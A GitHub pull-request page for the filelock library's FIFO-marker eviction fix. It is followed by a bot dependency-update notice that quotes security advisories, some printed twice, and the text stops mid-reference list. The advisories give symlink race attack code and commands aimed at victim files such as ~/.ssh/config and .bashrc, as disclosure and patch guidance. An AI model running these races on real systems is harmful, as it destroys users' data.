Skip to content

🐛 fix(soft_rw): evict non-regular write marker without reading it#588

Merged
gaborbernat merged 1 commit into
tox-dev:mainfrom
gaborbernat:fix-fifo-marker-eviction-587
Jul 7, 2026
Merged

🐛 fix(soft_rw): evict non-regular write marker without reading it#588
gaborbernat merged 1 commit into
tox-dev:mainfrom
gaborbernat:fix-fifo-marker-eviction-587

Conversation

@gaborbernat

@gaborbernat gaborbernat commented Jul 7, 2026

Copy link
Copy Markdown
Member

Acquiring a SoftReadWriteLock hangs until it times out on FreeBSD when a stale FIFO sits at the .write marker path. _read_marker opens the marker with O_NONBLOCK and reads it to decide whether it is valid, but a non-blocking read of a FIFO returns zero bytes on Linux and macOS while it raises EAGAIN on FreeBSD. 🐛 On the EAGAIN path _read_marker returns None, so _break_stale_marker treats the marker as already gone, leaves it in place, and the writer-slot claim spins until Timeout.

A legitimate marker is a regular file, created with O_CREAT | O_EXCL | O_WRONLY, so the fix checks the file type with fstat and reports anything else as a malformed marker without reading it, letting its mtime drive stale eviction instead of content whose read behavior varies by platform. fstat classifies the FIFO by its inode type rather than by a platform-specific read, so both the writerless marker FreeBSD tripped on and a writer-attached marker that raises EAGAIN get evicted.

Linux and macOS keep their current behavior, since a stale FIFO already resolved to a malformed marker on those platforms. Fixes #587.

@gaborbernat gaborbernat changed the title soft_rw: evict a non-regular write marker without reading it 🐛 fix(soft_rw): evict non-regular write marker without reading it Jul 7, 2026
@gaborbernat gaborbernat added the bug label Jul 7, 2026
@gaborbernat
gaborbernat enabled auto-merge (squash) July 7, 2026 17:09
@gaborbernat
gaborbernat force-pushed the fix-fifo-marker-eviction-587 branch from afc5d05 to 358cb26 Compare July 7, 2026 17:10
_read_marker read the marker to judge it, but reading a FIFO diverges by
platform: an empty non-blocking read yields 0 bytes on Linux/macOS (so
the FIFO parses as a malformed marker and gets evicted) but raises EAGAIN
on FreeBSD, where _read_marker then returned None, _break_stale_marker
bailed, and the stale FIFO wedged the acquire until timeout (tox-dev#587).

A legitimate marker is always a regular file, so fstat the fd and report
anything else as a malformed marker straight away -- its mtime still
drives stale eviction -- instead of reading it. fstat classifies the FIFO
the same on every platform, so the writerless case FreeBSD tripped on and
the writer-attached case that raises EAGAIN everywhere both evict.

Add test_fifo_write_marker_with_writer_is_evicted: attaching a writer
forces the EAGAIN path on any platform, reproducing the FreeBSD failure
portably. It times out at the same _wait_for line before the fix.
@gaborbernat
gaborbernat force-pushed the fix-fifo-marker-eviction-587 branch from 358cb26 to 7f2318a Compare July 7, 2026 18:42
@gaborbernat
gaborbernat merged commit 3547d58 into tox-dev:main Jul 7, 2026
33 checks passed
@gaborbernat
gaborbernat deleted the fix-fifo-marker-eviction-587 branch July 10, 2026 18:39
gaborbernat pushed a commit that referenced this pull request Jul 13, 2026
_read_lock_file reads the soft lock file straight after opening it,
without first checking it is a regular file. A same-uid peer can plant a
fifo at the lock path with a writer attached, so the non-blocking read
raises EAGAIN, which stale detection's suppress() quietly swallows; the
file is then never broken and acquire just wedges until timeout (an
empty non-blocking fifo read also raises EAGAIN on FreeBSD even without
a writer). This mirrors the guard added to the soft read/write marker in
#588: fstat first, and when the path is not a regular file report it as
a malformed lock with its mtime and inode so the usual age-based
eviction clears it rather than reading from it.
renovate-coop-norge Bot added a commit to coopnorge/engineering-docker-images that referenced this pull request Jul 16, 2026
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [filelock](https://redirect.github.com/tox-dev/py-filelock) | `3.29.6`
→ `3.29.7` |
![age](https://developer.mend.io/api/mc/badges/age/pypi/filelock/3.29.7?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/filelock/3.29.6/3.29.7?slim=true)
|

---

### filelock has a TOCTOU race condition which allows symlink attacks
during lock file creation
[CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) /
[GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f)
/ PYSEC-2026-1375

<details>
<summary>More information</summary>

#### Details
##### Impact

A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local
attackers to corrupt or truncate arbitrary user files through symlink
attacks. The vulnerability exists in both Unix and Windows lock file
creation where filelock checks if a file exists before opening it with
O_TRUNC. An attacker can create a symlink pointing to a victim file in
the time gap between the check and open, causing os.open() to follow the
symlink and truncate the target file.

**Who is impacted:**

All users of filelock on Unix, Linux, macOS, and Windows systems. The
vulnerability cascades to dependent libraries:

- **virtualenv users**: Configuration files can be overwritten with
virtualenv metadata, leaking sensitive paths
- **PyTorch users**: CPU ISA cache or model checkpoints can be
corrupted, causing crashes or ML pipeline failures
- **poetry/tox users**: through using virtualenv or filelock on their
own.

Attack requires local filesystem access and ability to create symlinks
(standard user permissions on Unix; Developer Mode on Windows 10+).
Exploitation succeeds within 1-3 attempts when lock file paths are
predictable.

##### Patches

Fixed in version **3.20.1**.

**Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in
UnixFileLock.\_acquire() to prevent symlink following.

**Windows fix:** Added GetFileAttributesW API check to detect reparse
points (symlinks/junctions) before opening files in
WindowsFileLock.\_acquire().

**Users should upgrade to filelock 3.20.1 or later immediately.**

##### Workarounds

If immediate upgrade is not possible:

1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note:
different locking semantics, may not be suitable for all use cases)
2. Ensure lock file directories have restrictive permissions (chmod
0700) to prevent untrusted users from creating symlinks
3. Monitor lock file directories for suspicious symlinks before running
trusted applications

**Warning:** These workarounds provide only partial mitigation. The race
condition remains exploitable. Upgrading to version 3.20.1 is strongly
recommended.

______________________________________________________________________

##### Technical Details: How the Exploit Works

##### The Vulnerable Code Pattern

**Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`):

```python
def _acquire(self) -> None:
    ensure_directory_exists(self.lock_file)
    open_flags = os.O_RDWR | os.O_TRUNC  # (1) Prepare to truncate
    if not Path(self.lock_file).exists():  # (2) CHECK: Does file exist?
        open_flags |= os.O_CREAT
    fd = os.open(self.lock_file, open_flags, ...)  # (3) USE: Open and truncate
```

**Windows** (`src/filelock/_windows.py:19-28`):

```python
def _acquire(self) -> None:
    raise_on_not_writable_file(self.lock_file)  # (1) Check writability
    ensure_directory_exists(self.lock_file)
    flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC  # (2) Prepare to truncate
    fd = os.open(self.lock_file, flags, ...)  # (3) Open and truncate
```

##### The Race Window

The vulnerability exists in the gap between operations:

**Unix variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file exists? → False
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

**Windows variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file writable?
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink/junction
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

##### Step-by-Step Attack Flow

**1. Attacker Setup:**

```python

##### Attacker identifies target application using filelock
lock_path = "/tmp/myapp.lock"  # Predictable lock path
victim_file = "/home/victim/.ssh/config"  # High-value target
```

**2. Attacker Creates Race Condition:**

```python
import os
import threading

def attacker_thread():
    # Remove any existing lock file
    try:
        os.unlink(lock_path)
    except FileNotFoundError:
        pass

    # Create symlink pointing to victim file
    os.symlink(victim_file, lock_path)
    print(f"[Attacker] Created: {lock_path} → {victim_file}")

##### Launch attack
threading.Thread(target=attacker_thread).start()
```

**3. Victim Application Runs:**

```python
from filelock import UnixFileLock

##### Normal application code
lock = UnixFileLock("/tmp/myapp.lock")
lock.acquire()  # ← VULNERABILITY TRIGGERED HERE

##### At this point, /home/victim/.ssh/config is now 0 bytes!
```

**4. What Happens Inside os.open():**

On Unix systems, when `os.open()` is called:

```c
// Linux kernel behavior (simplified)
int open(const char *pathname, int flags) {
    struct file *f = path_lookup(pathname);  // Resolves symlinks by default!

    if (flags & O_TRUNC) {
        truncate_file(f);  // ← Truncates the TARGET of the symlink
    }

    return file_descriptor;
}
```

Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates
the target file.

##### Why the Attack Succeeds Reliably

**Timing Characteristics:**

- **Check operation** (Path.exists()): ~100-500 nanoseconds
- **Symlink creation** (os.symlink()): ~1-10 microseconds
- **Race window**: ~1-5 microseconds (very small but exploitable)
- **Thread scheduling quantum**: ~1-10 milliseconds

**Success factors:**

1. **Tight loop**: Running attack in a loop hits the race window within
1-3 attempts
2. **CPU scheduling**: Modern OS thread schedulers frequently
context-switch during I/O operations
3. **No synchronization**: No atomic file creation prevents the race
4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only
operation)

##### Real-World Attack Scenarios

**Scenario 1: virtualenv Exploitation**

```python

##### Victim runs: python -m venv /tmp/myenv
##### Attacker racing to create:
os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")

##### Result: /home/victim/.bashrc overwritten with:

##### home = /usr/bin/python3
##### include-system-site-packages = false

##### version = 3.11.2
##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker
```

**Scenario 2: PyTorch Cache Poisoning**

```python

##### Victim runs: import torch
##### PyTorch checks CPU capabilities, uses filelock on cache

##### Attacker racing to create:
os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock")

##### Result: Trained ML model checkpoint truncated to 0 bytes

##### Impact: Weeks of training lost, ML pipeline DoS
```

##### Why Standard Defenses Don't Help

**File permissions don't prevent this:**

- Attacker doesn't need write access to victim_file
- os.open() with O_TRUNC follows symlinks using the *victim's*
permissions
- The victim process truncates its own file

**Directory permissions help but aren't always feasible:**

- Lock files often created in shared /tmp directory (mode 1777)
- Applications may not control lock file location
- Many apps use predictable paths in user-writable directories

**File locking doesn't prevent this:**

- The truncation happens *during* the open() call, before any lock is
acquired
- fcntl.flock() only prevents concurrent lock acquisition, not symlink
attacks

##### Exploitation Proof-of-Concept Results

From empirical testing with the provided PoCs:

**Simple Direct Attack** (`filelock_simple_poc.py`):

- Success rate: 33% per attempt (1 in 3 tries)
- Average attempts to success: 2.1
- Target file reduced to 0 bytes in \<100ms

**virtualenv Attack** (`weaponized_virtualenv.py`):

- Success rate: ~90% on first attempt (deterministic timing)
- Information leaked: File paths, Python version, system configuration
- Data corruption: Complete loss of original file contents

**PyTorch Attack** (`weaponized_pytorch.py`):

- Success rate: 25-40% per attempt
- Impact: Application crashes, model loading failures
- Recovery: Requires cache rebuild or model retraining

**Discovered and reported by:** George Tsigourakos
(@&#8203;tsigouris007)

#### Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f)
-
[https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)
-
[https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1)
-
[https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants)
-
[https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-w853-jp5j-5j7f) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### filelock has a TOCTOU race condition which allows symlink attacks
during lock file creation
[CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) /
[GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f)
/ PYSEC-2026-1375

<details>
<summary>More information</summary>

#### Details
##### Impact

A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local
attackers to corrupt or truncate arbitrary user files through symlink
attacks. The vulnerability exists in both Unix and Windows lock file
creation where filelock checks if a file exists before opening it with
O_TRUNC. An attacker can create a symlink pointing to a victim file in
the time gap between the check and open, causing os.open() to follow the
symlink and truncate the target file.

**Who is impacted:**

All users of filelock on Unix, Linux, macOS, and Windows systems. The
vulnerability cascades to dependent libraries:

- **virtualenv users**: Configuration files can be overwritten with
virtualenv metadata, leaking sensitive paths
- **PyTorch users**: CPU ISA cache or model checkpoints can be
corrupted, causing crashes or ML pipeline failures
- **poetry/tox users**: through using virtualenv or filelock on their
own.

Attack requires local filesystem access and ability to create symlinks
(standard user permissions on Unix; Developer Mode on Windows 10+).
Exploitation succeeds within 1-3 attempts when lock file paths are
predictable.

##### Patches

Fixed in version **3.20.1**.

**Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in
UnixFileLock.\_acquire() to prevent symlink following.

**Windows fix:** Added GetFileAttributesW API check to detect reparse
points (symlinks/junctions) before opening files in
WindowsFileLock.\_acquire().

**Users should upgrade to filelock 3.20.1 or later immediately.**

##### Workarounds

If immediate upgrade is not possible:

1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note:
different locking semantics, may not be suitable for all use cases)
2. Ensure lock file directories have restrictive permissions (chmod
0700) to prevent untrusted users from creating symlinks
3. Monitor lock file directories for suspicious symlinks before running
trusted applications

**Warning:** These workarounds provide only partial mitigation. The race
condition remains exploitable. Upgrading to version 3.20.1 is strongly
recommended.

______________________________________________________________________

##### Technical Details: How the Exploit Works

##### The Vulnerable Code Pattern

**Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`):

```python
def _acquire(self) -> None:
    ensure_directory_exists(self.lock_file)
    open_flags = os.O_RDWR | os.O_TRUNC  # (1) Prepare to truncate
    if not Path(self.lock_file).exists():  # (2) CHECK: Does file exist?
        open_flags |= os.O_CREAT
    fd = os.open(self.lock_file, open_flags, ...)  # (3) USE: Open and truncate
```

**Windows** (`src/filelock/_windows.py:19-28`):

```python
def _acquire(self) -> None:
    raise_on_not_writable_file(self.lock_file)  # (1) Check writability
    ensure_directory_exists(self.lock_file)
    flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC  # (2) Prepare to truncate
    fd = os.open(self.lock_file, flags, ...)  # (3) Open and truncate
```

##### The Race Window

The vulnerability exists in the gap between operations:

**Unix variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file exists? → False
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

**Windows variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file writable?
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink/junction
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

##### Step-by-Step Attack Flow

**1. Attacker Setup:**

```python

##### Attacker identifies target application using filelock
lock_path = "/tmp/myapp.lock"  # Predictable lock path
victim_file = "/home/victim/.ssh/config"  # High-value target
```

**2. Attacker Creates Race Condition:**

```python
import os
import threading

def attacker_thread():
    # Remove any existing lock file
    try:
        os.unlink(lock_path)
    except FileNotFoundError:
        pass

    # Create symlink pointing to victim file
    os.symlink(victim_file, lock_path)
    print(f"[Attacker] Created: {lock_path} → {victim_file}")

##### Launch attack
threading.Thread(target=attacker_thread).start()
```

**3. Victim Application Runs:**

```python
from filelock import UnixFileLock

##### Normal application code
lock = UnixFileLock("/tmp/myapp.lock")
lock.acquire()  # ← VULNERABILITY TRIGGERED HERE

##### At this point, /home/victim/.ssh/config is now 0 bytes!
```

**4. What Happens Inside os.open():**

On Unix systems, when `os.open()` is called:

```c
// Linux kernel behavior (simplified)
int open(const char *pathname, int flags) {
    struct file *f = path_lookup(pathname);  // Resolves symlinks by default!

    if (flags & O_TRUNC) {
        truncate_file(f);  // ← Truncates the TARGET of the symlink
    }

    return file_descriptor;
}
```

Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates
the target file.

##### Why the Attack Succeeds Reliably

**Timing Characteristics:**

- **Check operation** (Path.exists()): ~100-500 nanoseconds
- **Symlink creation** (os.symlink()): ~1-10 microseconds
- **Race window**: ~1-5 microseconds (very small but exploitable)
- **Thread scheduling quantum**: ~1-10 milliseconds

**Success factors:**

1. **Tight loop**: Running attack in a loop hits the race window within
1-3 attempts
2. **CPU scheduling**: Modern OS thread schedulers frequently
context-switch during I/O operations
3. **No synchronization**: No atomic file creation prevents the race
4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only
operation)

##### Real-World Attack Scenarios

**Scenario 1: virtualenv Exploitation**

```python

##### Victim runs: python -m venv /tmp/myenv
##### Attacker racing to create:
os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")

##### Result: /home/victim/.bashrc overwritten with:

##### home = /usr/bin/python3
##### include-system-site-packages = false

##### version = 3.11.2
##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker
```

**Scenario 2: PyTorch Cache Poisoning**

```python

##### Victim runs: import torch
##### PyTorch checks CPU capabilities, uses filelock on cache

##### Attacker racing to create:
os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock")

##### Result: Trained ML model checkpoint truncated to 0 bytes

##### Impact: Weeks of training lost, ML pipeline DoS
```

##### Why Standard Defenses Don't Help

**File permissions don't prevent this:**

- Attacker doesn't need write access to victim_file
- os.open() with O_TRUNC follows symlinks using the *victim's*
permissions
- The victim process truncates its own file

**Directory permissions help but aren't always feasible:**

- Lock files often created in shared /tmp directory (mode 1777)
- Applications may not control lock file location
- Many apps use predictable paths in user-writable directories

**File locking doesn't prevent this:**

- The truncation happens *during* the open() call, before any lock is
acquired
- fcntl.flock() only prevents concurrent lock acquisition, not symlink
attacks

##### Exploitation Proof-of-Concept Results

From empirical testing with the provided PoCs:

**Simple Direct Attack** (`filelock_simple_poc.py`):

- Success rate: 33% per attempt (1 in 3 tries)
- Average attempts to success: 2.1
- Target file reduced to 0 bytes in \<100ms

**virtualenv Attack** (`weaponized_virtualenv.py`):

- Success rate: ~90% on first attempt (deterministic timing)
- Information leaked: File paths, Python version, system configuration
- Data corruption: Complete loss of original file contents

**PyTorch Attack** (`weaponized_pytorch.py`):

- Success rate: 25-40% per attempt
- Impact: Application crashes, model loading failures
- Recovery: Requires cache rebuild or model retraining

**Discovered and reported by:** George Tsigourakos
(@&#8203;tsigouris007)

#### Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f)
-
[https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)
-
[https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1)
-
[https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants)
-
[https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html)
- [https://pypi.org/project/filelock](https://pypi.org/project/filelock)
-
[https://github.com/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f)
-
[https://nvd.nist.gov/vuln/detail/CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146)

This data is provided by
[OSV](https://osv.dev/vulnerability/PYSEC-2026-1375) and the [PyPI
Advisory Database](https://redirect.github.com/pypa/advisory-database)
([CC-BY
4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)).
</details>

---

### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock
[CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) /
[GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw)
/ PYSEC-2026-1374

<details>
<summary>More information</summary>

#### Details
##### Vulnerability Summary

**Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock

**Affected Component:** `filelock` package - `SoftFileLock` class
**File:** `src/filelock/_soft.py` lines 17-27
**CWE:** CWE-362, CWE-367, CWE-59

---

##### Description

A TOCTOU race condition vulnerability exists in the `SoftFileLock`
implementation of the filelock package. An attacker with local
filesystem access and permission to create symlinks can exploit a race
condition between the permission validation and file creation to cause
lock operations to fail or behave unexpectedly.

The vulnerability occurs in the `_acquire()` method between
`raise_on_not_writable_file()` (permission check) and `os.open()` (file
creation). During this race window, an attacker can create a symlink at
the lock file path, potentially causing the lock to operate on an
unintended target file or leading to denial of service.

##### Attack Scenario

```
1. Lock attempts to acquire on /tmp/app.lock
2. Permission validation passes
3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock
4. os.open() tries to create lock file
5. Lock operates on attacker-controlled target file or fails
```

---

##### Impact

_What kind of vulnerability is it? Who is impacted?_

This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition
vulnerability** affecting any application using `SoftFileLock` for
inter-process synchronization.

**Affected Users:**
- Applications using `filelock.SoftFileLock` directly
- Applications using the fallback `FileLock` on systems without `fcntl`
support (e.g., GraalPy)

**Consequences:**
- **Silent lock acquisition failure** - applications may not detect that
exclusive resource access is not guaranteed
- **Denial of Service** - attacker can prevent lock file creation by
maintaining symlink
- **Resource serialization failures** - multiple processes may acquire
"locks" simultaneously
- **Unintended file operations** - lock could operate on
attacker-controlled files

**CVSS v4.0 Score:** 5.6 (Medium)
**Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N

**Attack Requirements:**
- Local filesystem access to the directory containing lock files
- Permission to create symlinks (standard for regular unprivileged users
on Unix/Linux)
- Ability to time the symlink creation during the narrow race window

---

##### Patches

_Has the problem been patched? What versions should users upgrade to?_

Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag
to prevent symlink following during lock file creation.

**Patched Version:** Next release (commit:
255ed068bc85d1ef406e50a135e1459170dd1bf0)

**Mitigation Details:**
- The `O_NOFOLLOW` flag is added conditionally and gracefully degrades
on platforms without support
- On platforms with `O_NOFOLLOW` support (most modern systems): symlink
attacks are completely prevented
- On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window
remains but is documented

**Users should:**
- Upgrade to the patched version when available
- For critical deployments, consider using `UnixFileLock` or
`WindowsFileLock` instead of the fallback `SoftFileLock`

---

##### Workarounds

_Is there a way for users to fix or remediate the vulnerability without
upgrading?_

For users unable to update immediately:

1. **Avoid `SoftFileLock` in security-sensitive contexts** - use
`UnixFileLock` or `WindowsFileLock` when available (these were already
patched for CVE-2025-68146)

2. **Restrict filesystem permissions** - prevent untrusted users from
creating symlinks in lock file directories:
   ```bash
   chmod 700 /path/to/lock/directory
   ```

3. **Use process isolation** - isolate untrusted code from lock file
paths to prevent symlink creation

4. **Monitor lock operations** - implement application-level checks to
verify lock acquisitions are successful before proceeding with critical
operations

---

##### References

_Are there any links users can visit to find out more?_

- **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in
UnixFileLock/WindowsFileLock)
- **CWE-362 (Concurrent Execution using Shared Resource):**
https://cwe.mitre.org/data/definitions/362.html
- **CWE-367 (Time-of-check Time-of-use Race Condition):**
https://cwe.mitre.org/data/definitions/367.html
- **CWE-59 (Improper Link Resolution Before File Access):**
https://cwe.mitre.org/data/definitions/59.html
- **O_NOFOLLOW documentation:**
https://man7.org/linux/man-pages/man2/open.2.html
- **GitHub Repository:** https://github.com/tox-dev/filelock

---

**Reported by:** George Tsigourakos (@&#8203;tsigouris007)

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701)
-
[https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0)
-
[https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-qmgc-5h2g-mvrw) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock
[CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) /
[GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw)
/ PYSEC-2026-1374

<details>
<summary>More information</summary>

#### Details
##### Vulnerability Summary

**Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock

**Affected Component:** `filelock` package - `SoftFileLock` class
**File:** `src/filelock/_soft.py` lines 17-27
**CWE:** CWE-362, CWE-367, CWE-59

---

##### Description

A TOCTOU race condition vulnerability exists in the `SoftFileLock`
implementation of the filelock package. An attacker with local
filesystem access and permission to create symlinks can exploit a race
condition between the permission validation and file creation to cause
lock operations to fail or behave unexpectedly.

The vulnerability occurs in the `_acquire()` method between
`raise_on_not_writable_file()` (permission check) and `os.open()` (file
creation). During this race window, an attacker can create a symlink at
the lock file path, potentially causing the lock to operate on an
unintended target file or leading to denial of service.

##### Attack Scenario

```
1. Lock attempts to acquire on /tmp/app.lock
2. Permission validation passes
3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock
4. os.open() tries to create lock file
5. Lock operates on attacker-controlled target file or fails
```

---

##### Impact

_What kind of vulnerability is it? Who is impacted?_

This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition
vulnerability** affecting any application using `SoftFileLock` for
inter-process synchronization.

**Affected Users:**
- Applications using `filelock.SoftFileLock` directly
- Applications using the fallback `FileLock` on systems without `fcntl`
support (e.g., GraalPy)

**Consequences:**
- **Silent lock acquisition failure** - applications may not detect that
exclusive resource access is not guaranteed
- **Denial of Service** - attacker can prevent lock file creation by
maintaining symlink
- **Resource serialization failures** - multiple processes may acquire
"locks" simultaneously
- **Unintended file operations** - lock could operate on
attacker-controlled files

**CVSS v4.0 Score:** 5.6 (Medium)
**Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N

**Attack Requirements:**
- Local filesystem access to the directory containing lock files
- Permission to create symlinks (standard for regular unprivileged users
on Unix/Linux)
- Ability to time the symlink creation during the narrow race window

---

##### Patches

_Has the problem been patched? What versions should users upgrade to?_

Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag
to prevent symlink following during lock file creation.

**Patched Version:** Next release (commit:
255ed068bc85d1ef406e50a135e1459170dd1bf0)

**Mitigation Details:**
- The `O_NOFOLLOW` flag is added conditionally and gracefully degrades
on platforms without support
- On platforms with `O_NOFOLLOW` support (most modern systems): symlink
attacks are completely prevented
- On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window
remains but is documented

**Users should:**
- Upgrade to the patched version when available
- For critical deployments, consider using `UnixFileLock` or
`WindowsFileLock` instead of the fallback `SoftFileLock`

---

##### Workarounds

_Is there a way for users to fix or remediate the vulnerability without
upgrading?_

For users unable to update immediately:

1. **Avoid `SoftFileLock` in security-sensitive contexts** - use
`UnixFileLock` or `WindowsFileLock` when available (these were already
patched for CVE-2025-68146)

2. **Restrict filesystem permissions** - prevent untrusted users from
creating symlinks in lock file directories:
   ```bash
   chmod 700 /path/to/lock/directory
   ```

3. **Use process isolation** - isolate untrusted code from lock file
paths to prevent symlink creation

4. **Monitor lock operations** - implement application-level checks to
verify lock acquisitions are successful before proceeding with critical
operations

---

##### References

_Are there any links users can visit to find out more?_

- **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in
UnixFileLock/WindowsFileLock)
- **CWE-362 (Concurrent Execution using Shared Resource):**
https://cwe.mitre.org/data/definitions/362.html
- **CWE-367 (Time-of-check Time-of-use Race Condition):**
